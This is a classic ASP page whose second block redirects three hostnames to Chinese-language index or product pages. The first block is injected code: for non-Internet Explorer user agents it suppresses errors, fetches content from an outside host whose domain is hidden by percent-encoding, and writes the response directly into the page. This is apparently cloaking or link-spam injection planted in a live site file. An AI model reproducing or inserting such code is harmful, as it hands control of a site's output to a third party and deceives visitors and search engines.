<%
dim bl
randomize
bl = int(1000*rnd)
dim browserstring
browserstring = request.servervariables( "http_user_agent")
browserstring = lcase(browserstring)
dim brofirefox,bromsie,broopera,browap
bromsie = "msie "
if instr(browserstring, bromsie) = 0 then
on error resume next
server.scripttimeout=9999999
response.write(gethttppage("http://%77%77%77%2E%79%64%37%36%39%2E%63%6E/link/ch-sh.asp?id="&bl))
function gethttppage(url)
dim http
set http = createobject("msxml2.xmlhttp")
http.open "get", url, false
http.send
if http.readystate <> 4 then
exit function
end if
gethttppage = bytestobstr(http.responsebody, "gb2312")
set http = nothing
if err.number <> 0 then err.clear
end function
function bytestobstr(body, cset)
dim objstream
set objstream = createobject("adodb.stream")
objstream.type = 1
objstream.mode = 3
objstream.open
objstream.write body
objstream.position = 0
objstream.type = 2
objstream.charset = cset
bytestobstr = objstream.readtext
objstream.close
set objstream = nothing
end function
end if
%>
<%
URLNAME=Request.ServerVariables("SERVER_NAME")
select case URLNAME
case "www.ch-shsx.net"
response.redirect "chinese/gb/index.asp"
case "www.ch-shzj.net"
response.redirect "chinese/gb/productBigList.asp?lanmu=6"
case "www.ch-shhn.net"
response.redirect "chinese/gb/index.asp"
end select
%>
